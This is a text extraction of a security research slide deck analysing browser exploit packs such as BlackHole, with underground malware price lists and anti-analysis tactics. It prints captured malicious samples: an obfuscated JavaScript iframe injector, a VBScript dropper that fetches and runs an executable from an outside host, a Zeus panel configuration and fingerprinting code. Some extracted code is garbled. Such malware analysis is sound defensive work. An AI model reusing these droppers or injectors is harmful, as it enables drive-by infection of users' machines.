Browser Exploit Packs Exploitation Paradigm (Tactics)

Death by Bundled Exploits

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Agenda

- Underground Malware Economy
- Browser Design Agility
 - Browser Malware Taxonomy
- Experimental Design
- Browser Framework Components
- Exploitation Tactics
 - Inbuilt + Attacker Driven
- Conclusion





Underground Malware Economy

Product	Min. price	Max. price
RAT - depending on features	20,00 €	100,00 €
Stealer - see above	5,00 €	40,00 €
Falsified ID/driving licence - depending on the quality of the forgery	50,00 €	2.500,00 €
Bot file - price depending on features and programmer	20,00 €	100,00 €
Bot source code	200,00 €	800,00 €

Service	Min. price	Max. price
Hosting - depending on scope of service, anything from web space to multiple servers	5,00€	9.999,00 €
FUD service	10,00 €	40,00 €
DDoS attack per hour	10,00 €	150,00 €
Bot installations per 1000 - prices determined by geographic location	50,00 €	250,00 €
1 million spam emails to specific addresses, e.g. gamers are at a premium	300,00 €	800,00 €

Data	Min. price	Max. price
Databases - price depends on the precise content and scope of the database, this involves buying a database	10,00 €	250,00 €
Credit card data - prices determined by the completeness of the data. Just a card number and expiry date is not worth much. The more data is provided, the higher the price is.	2€	300€
1 million email addresses - verified addresses or specialist groups cost more	30,00 €	250,00 €



Accounts	Min. price	Max. price
Steam account - price determined by the volume of games installed	2,00 €	50,00 €
WoW account - depends on the scope of the data and level of the char- acters in the account	5,00 €	30,00 €
Pack station account - prices determined by the scope of the data pro- vided and whether it has been faked or stolen	50,00 €	150,00 €
PayPal account - the more date there is on the account, the higher the price	1,00 €	25,00€
Click & Buy account – see above	10,00 €	35,00 €
Email account with private email - prices vary according to the dealer	1,00 €	5,00 €

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Browser Design Agility

- Browsers Robust Design
 - Vulnerabilities
 - Inherent component based design flaws
 - Security issues present browser components
 - Exploitable to give complete access to system
 - Remember, JavaScript heap spraying
 - Three Layer Model
 - Browser extensibility model
 - Add-ons (NoScript)
 - Browser interoperability model
 - Plugins such as Adobe, Flash
 - Browser as a Software
 - Browser executables (firefox.exe, iexplorer.exe)
 - Required dynamic link libraries

Note: Malware can impact any of the three layers as presented



Browser Malware Anatomy

Bundled Exploits





Vulnerability Exploited







Malware Hazard





Browser Exploit Packs – Viola !



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Experiments Conducted

- Target BlackHole BEP + Phoenix BEP
 - Targets were selected using public available database
 - Malware Domain List (MDM) and Clean MX
 - Apart from these, we choose targets from forums
 - Malware Hunting
 - Web application vulnerability analysis
 - Penetration testing of malware domains
 - Traffic analysis
 - Performed Tests and Extracted Results
 - Tests conducted
 - Complete analysis of BlackHole BEP and inherent design
 - Reverse engineering, deobfuscation, decoding and penetration testing
 - Extracted Results
 - Web environments that favor BlackHole
 - Techniques and tactics (Generalizing the Infection Strategies)

Note: Research Paper – Concentrated more on BlackHole BEP.



BEP Framework and Components

- BEP Framework
 - A complete set of bundled exploits and management interface
 - Configuration files
 - JavaScript files for fingerprinting the browser environment
 - plugin.js , min.js , jquery.js
 - Sibling software in use
 - MAX Mind Geo Location Library is used extensively
 - Traffic stats with geographical locations
 - Capturing data based on IP addresses
 - A legitimate open source library for collecting traffic statistics
 - PHP ION Cube Encoder
 - Almost all the BEP frameworks utilize this PHP encoder
 - Make the analysis real hard as it is damn hard to decode it

BEP's & Botnets Collaboration

- Is This True Artifact?
 - Yes it is.
 - BEP's are used in conjunction with botnets
 - On successful exploitation, bot is dropped into victim machine
 - Harnessing the power of two different frameworks to deliver malware
 - Some traces have been seen of ZEUS (Botnet) + BlackHole (BEP)





```
$DBHOST = "localhost";
$DBNAME = "Zeus";
$DBUSER = "root";
$DBPASS = "pass";
$ADMINPW = "aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d"; //SHA-1 Hash from your password
$ACTIVATION_PASSWORD = "suckit";
$BANTIME = 86400;
$SOUND = "Disabled";
$COUNTRIES = array("RU" => "ashrfwdogsfvxn.exe", "DE" => "ashrfwdogsfvxn.exe", "US" =>
"ashrfwdogsfvxn.exe");
```

BEP's – Tactical Infections

Techniques and Tactics

(Inbuilt + Attacker Driven)



Dedicated Spidering

Dedicated Spidering

- Target specific information gathering
 - Unavoidable part of Advanced Persistent Threats (APT) attacks
 - It can be transformed into a remote scanning engine
 - » Detecting website insecurities and vulnerabilities
 - Spidering modules are collaboratively used with BEP's
 - » A custom code used by attacker for attacking specific websites to gather information
 - » Example:- BEP implements blacklisting approach



Dynamic Iframe Generators

- Dynamic Iframe Generators
 - Exploiting technique used to infect virtual hosts
 - Typically used for injecting iframes in large number of websites
 - Traffic infection Iframes point to BEP's are loaded
 - 1000 websites infection \rightarrow 1000 BEP's serving exploit (Mass Exploitation)
 - BEP is hosted on the main server \rightarrow infected hosts point to the source
 - BEP's are mostly loaded with obfuscated iframes

YhzRiENx, opHEBheR; YhzRiENx =

Encoded

```
LEDd = new Array();CEplPLEDd.
push(`%d#@#@o@@@#%c@@#um#@');CEplPLEDd.
push(`@@e#!nt.writ#@@@e#!(`);CEplPLEDd.push(`\
'<i@#@#f@@#r%@a~@@#m');CEplPLEDd.push(`#@@@</pre>
e#! sr@@@#%c@@#=');CEplPLEDd.push(`\"http:/
/92.241.164.7');CEplPLEDd.push('0/@#@%@
b@l/in%d#@#@#');CEplPLEDd.push(`@@@e#!x.
php\" wi%d#@#');CEplPLEDd.push(`@th=\"1\"
h#@@@e#!ight');CEplPLEDd.push('=\"0\"
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e#!@#@%@b@or%d');CEplPLEDd.push(`#@#@#@@@
e#!r=\"0\"></i');CEplPLEDd.push(`@#@#f@@#r%@
a~@@#m#@@');CEplPLEDd.push(`@e#!>\');');function
QnXEQ(str) { return str.replace(/[!%#@~]/
q,""); }for (var j=0;j<CEplPLEDd.length;j++)</pre>
{ZqhC = QnXEQ(CEplPLEDd[j]); opHEBheR +=
ZqhC; }YhzRiENx(opHEBheR.substr(9));
```

```
var ZqhC,CEplPLEDd,YhzRiENx,opHEBheR;YhzRiENx =
eval;ZqhC ="";CEplPLEDd = new Array();CEplPLEDd.
push('docum');CEplPLEDd.push('ent.
write(');CEplPLEDd.push('\'<ifram');CEplPLEDd.
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place(/[]/g,""); }for (var j=0;j<CEplPLEDd.
length;j++) {ZqhC = QnXEQ(CEplPLEDd[j]);opHEBheR
+= ZqhC;}YhzRiENx(opHEBheR.substr(9));</pre>
```

Decoded

Exploit Obfuscation / Encoding

Exploit Obfuscation

- Exploits are obfuscated to bypass the detection mechanisms
- Reverse encoding, string concatenation and randomization
- Interpreted as an exact exploit when rendered in the browser

:y=1

End If



public static String b(String s) String s1 = (new StringBuilder()).append(s.replace("F", "a"). replace("#", "b").replace("V", "c").replace("D", "d").replace("@", "e"). replace("Y", "f").replace("C", "g").replace("R", "h").replace(",", "i") replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l") replace("Z", "m").replace("B", "n").replace("Q", "o").replace("=", "p") replace("&", "q").replace("M", "r").replace("G", "s").replace("S", "t"). replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x"). replace("P", "y").replace("?", "z").replace("T", ",").replace("I", "."). replace("K", "_").replace("(", "_").replace(",", ":").replace("A", "1"). replace("N", "2").replace("*", "3").replace("J", "4").replace("), "5"). replace("O", "6").replace("\$", "7").replace("X", "8").replace("+", "9") replace("E", "0") append("?i=1") toString(); return s1:

```
String s2 = b.b(getParameter("a"));
                                                  String s3 = "ridpmt.oi.avaj";
                                                  String s4 = "exe.";
                                                  String s5 = "swodniW":
                                                 String s6 = "eman.so";
                                                  String s7 = "zl";
                                                  String s8 = (new StringBuffer(s4)).reverse().toString();
                                                  String s9 = (new StringBuffer(s3)).reverse().toString();
                                                  String s10 = (new StringBuffer(s6)).reverse().toString();
                                                  String s11 = (new StringBuffer(s5)).reverse().toString();
                                                  String s12 = "fr";
                                                  String s13 = (new StringBuilder()).append(Math.random()).append(s8).toString();
                                                  String s14 = System.getProperty(s9);
                                                  String s15 = System detProperty(s10)
w=3000:x=200
 :z=false
:a = "http://alpha.b0x.su/f0d/b02.php?i=3"
:set e = Createobject(StrReverse("tcejbometsyseliF.gnitpircs"))
:b = e.GetspecialFolder(2) & "\exe.exe":oT = "GET"
:set c = Createobject(StrReverse("THLMX.2LMXSM"))
:Set d = Createobject(StrReverse("tcejbometsyseliF.gnitpircs"))
Set o=Createobject(StrReverse("tcejbometsyseliF.gnitpircs"))
On Error resume next
c.open OT, a, z:c.send()
If c.Status = x Then
u=c.ResponseBody:d.Open:d.Type = y:d.Write u:d.SaveToFile b:d.Close
CreateObject(StrReverse("]]ehS.tpircSW")).exeC b
:CreateObject(StrReverse("]]ehS.tpircSW")).exeC "taskkill /F /IM wmplayer.exe"
:CreateObject(StrReverse("]]ehS.tpircSW")).exeC "taskkill /F /IM realplay.exe"
:Set g=0.GetFile(e.GetSpecialFolder(2) & "\" & StrReverse("sbv.l"))
:g.Delete:WScript.Sleep w
:Set g=o.GetFile(b)
:g.Delete
```

Exploit Obfuscation / Encoding

- BEP Framework Encoding
 - All the exploit framework files are encoded
 - Most of the BEPs are designed in PHP.
 - Encodes all the exploits in a robust manner (efficient code protection)
 - All PHP files in BEP's are encoded except configuration file
 - No restoration of compiled files back to source level.
 - » Protection is applied at compilation time
 - Encoded files have digital signatures.
 - MAC protection enabled.
 - Exploit detection becomes hard

```
<?php //0035e
if(!extension_loaded('ionCube_Loader'))($__oc=strtolower(substr(php_uname()
,0,3));$__ln='/ioncube/ioncube_loader_'.$_oc.'_'.substr(phpversion(),0,3).
(($__oc=='win')?'.dll':'.so');$__oid=$__id=realpath(ini_get('extension_dir'))
;$__here=dirname(__FILE__);if(strlen($__id)>1&&$ id[1]==':')($__id=str_replace
('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}
$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd)
;while($__i--)(if($__rd[$__i]=='/')($__lp=substr($__rd,0,$__i).$__ln;if(file_exists
($__oid.$__lp))($__ln=$__lp;break;)))&dl($__ln);else(die('The_file '.__FILE__."
is corrupted.\n");)if(function_exists('_il_exec'))(return__il_exec();)echo
('Site error: the_file <b>'.__FILE__.'</b> requires the_ionCube_PHP_Loader '.
basename($__ln).' to be_installed by the_site_administrator.');exit(199);
?>
```



BEP Encoding – Example

Java Skyline Exploit - Layout

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<pre><?php //003ab if(!extension_loaded('ionCube_Loader')){\$oc=strtolower(substr(php_uname(),0,3));\$ln='ioncube_loader_'. \$oc.'_'.substr(phpversion(),0,3).((\$oc=='win')?'.dll':'.so');@dl(\$ln);if(function_exists('_il_exec')) {return_il_exec();}\$ln='/ioncube/'.\$ln;\$oid=\$id=realpath(ini_get('extension_dir'));\$here=dirname (FILE);if(strlen(\$ id)>166\$ id[1]==':'){\$ id=str replace('\\','/',substr(\$ id,2));\$ here=str replace(')}</pre>	e

('\\','/',substr(\$_here,2));)\$_rd=str_repeat('/..',substr_count(\$_id,'/')).\$_here.'/';\$_i=strlen (\$_rd);while(\$_i--){if(\$_rd[\$_i]=='/'){\$_lp=substr(\$_rd,0,\$_i).\$_ln;if(file_exists(\$_oid.\$_lp)) {\$_ln=\$_lp;break;})}@dl(\$_ln);)else(die('The file '.__FILE__." is corrupted.\n");)if(function_exists ('_i1_exec')){return_i1_exec();}echo('Site error: the file '.__FILE__.'

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User Agent Based Fingerprinting

```
function getbrowserver(& $MSIEversion, & $OPERAversion) {
    $uag = $ SERVER['HTTP USER AGENT'];
    if ( strstr( $uag, "Opera" ) ) {
        if ( preg match( "#Opera/(\\d+\\.?\\d*)#s", $uag, $mt ) ) {
            $OPERAversion=$mt[1];
            return "Opera v{$mt[1]}";
        }
        return "Opera";
    }
    if ( strstr( $uag, "Firefox" ) ) {
        if ( preg match( "#Firefox/(\\d+\\.?\\d*\\.?\\d*)#s", $uag, $mt ) ) {
             return "Firefox v($mt[1])";
        }
        return "Firefox";
    }
    if ( strstr( $uag, "MSIE" ) ) {
        if ( preq match( "#MSIE (\\d+\\.?\\d*)#s", $uaq, $mt ) ) {
             $MSIEversion=$mt[1];
             return "MSIE v{$mt[1]}";
        }
        return "MSIE";
    }
    if ( strstr( $uag, "Nav" ) || strstr( $uag, "Netscape" ) ) {
        return "Netscape";
                                                                             Firefox
    - } -
    if ( strstr( $uag, "Konqueror" ) ) {
                                                                             version 3.0.2
        return "Konqueror";
                                                                             ©1998-2008 Contributors. All Rights
    }
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    if ( strstr( $uag, "Chrome" ) ) {
                                                                             logos are trademarks of the Mozilla
        return "Chrome";
                                                                            Foundation. All rights reserved.
    }
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    if ( strstr( $uag, "Safari" ) ) {
                                                                            rv:1.9.0.2) Gecko/2008092318
        return "Safari";
                                                                             Fedora/3.0.2-1.fc9 Firefox/3.0.2
    }
                                                                              Credits
        function getcountry( ) {
             $geo = geoip open( "drkmjrc.dat", GEOIP STANDARD );
             $cnt = geoip country code by addr( $geo, $ SERVER['REMOTE ADDR'] );
             if ( !$cnt ) {
                 sent = "-";
             }
             geoip close( $geo );
             return $cnt;
        -}
```

```
function getbrowsertype() {
    $uag = $_SERVER['HTTP_USER_AGENT'];
    if ( strstr( $uag, "Opera" ) ) {
        return "Opera";
    }
    if ( strstr( $uag, "Firefox" ) ) {
        return "Firefox";
    }
    if ( strstr( $uag, "MSIE" ) ) {
        return "MSIE";
    }
    return "Other";
```

function getosver() {

```
$uag = $ SERVER['HTTP USER AGENT'];
          if ( strstr( $uag, "Windows 95" ) ) {
              return "Windows 95";
          }
          if ( strstr( $uag, "Windows 98" ) ) {
              return "Windows 98";
          }
          if ( strstr( $uag, "Win 9x 4.9" ) ) {
              return "Windows ME";
          }
          if ( strstr( $uag, "Windows NT 4" ) ) {
              return "Windows NT 4";
          }
          if ( strstr( $uag, "Windows NT 5.0" ) ) {
              return "Windows 2000";
          }
          if ( strstr( $uag, "SV1" ) ) {
COK
              return "Windows XP SP2":
          3
          if ( strstr( $uag, "Windows NT 5.1" ) ) {
              return "Windows XP";
          if ( strstr( $uag, "Windows NT 5.2" ) ) {
              return "Windows 2003";
```

IP Logging Detection Trick (IPLDT)

- What it is all about?
 - Hampering the analysis process
 - Exploit is served only once a time to the required IP
 - BEP uses GeoLocation PHP library to keep a track of IP addresses
 - Dual infection process using Content Delivery Networks (CDN's)
 - Appropriate check is performed before serving exploit
 - » If IP is already served no more exploits are delivered
 - » In other terms, no more infection to the specific IP address



Blacklisting – Anti Detection

- Blacklisting
 - Technique to prevent tracing of malware domain by analysts
 - Non legitimate usage of blacklisting approach
 - It serves very well for BEP's.
 - Explicit declaration of domain names in the panel (file listing also provided)
 - » Anti detection and no exploit serving (dual layer in addition to IPLDT)



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Dynamic Storage and Mutex

- Dynamic Storage and Mutex
 - Managing the incoming connects
 - Looks for the particular IP address to verify the number of requests
 - Tracking the incoming requests and cookie tracking (Mutex implementation)
 - Primarily, avoid serving the duplicate exploits to the same machine
 - » Implements the concept of worker thread when exploit is served
 - » Efficient way of serving exploits through HTTP
 - » Filter the victim information so that appropriate content should be served
 - Wait, till the full exploit is sent to the victim browser
 - Drive by Downloads



Polymorphic Shellcodes

- Polymorphic Shellcodes
 - Polymorphism provides multiple way to bypass detection mechanisms
 - Self decrypting routines are available
 - On successful exploitation, encrypted malware decrypts itself in the system
 - Encryption provides random entry points that bypass the detection modules
 - Heavily used to bypass intrusion detection systems
 - Provides multiple code execution points
 - Exploit in BEP's : shellcodes are polymorphic in nature



Generic - Shellcode Unwrapping



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Conclusion

- BEP Efficient way of serving malware
- Collaborates very well with third generation botnets
- Hard to design a protection solution because
 - It exploits the default design of browsers
- Hyperlinks/ URL verification is the best solution at present.
- Its good to hunt malware for educational purposes $\textcircled{\circleo}$



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